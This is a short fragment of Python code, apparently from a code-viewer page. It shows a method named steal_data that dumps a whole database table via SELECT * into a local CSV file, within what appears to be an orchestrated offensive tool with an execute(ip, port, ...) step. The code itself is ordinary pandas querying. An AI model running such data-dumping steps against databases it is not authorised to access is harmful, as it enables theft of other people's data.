Download data from the table in the database to a local file.
(self, engine, table, schema, local_dir)
| 70 | return [] |
| 71 | |
| 72 | def steal_data(self, engine, table, schema, local_dir): |
| 73 | """ |
| 74 | Download data from the table in the database to a local file. |
| 75 | """ |
| 76 | try: |
| 77 | if self.shared_data.orchestrator_should_exit: |
| 78 | logger.info("Data stealing process interrupted due to orchestrator exit.") |
| 79 | return |
| 80 | query = f"SELECT * FROM {schema}.{table}" |
| 81 | df = pd.read_sql(query, engine) |
| 82 | local_file_path = os.path.join(local_dir, f"{schema}_{table}.csv") |
| 83 | df.to_csv(local_file_path, index=False) |
| 84 | logger.success(f"Downloaded data from table {schema}.{table} to {local_file_path}") |
| 85 | except Exception as e: |
| 86 | logger.error(f"Error downloading data from table {schema}.{table}: {e}") |
| 87 | |
| 88 | def execute(self, ip, port, row, status_key): |
| 89 | """ |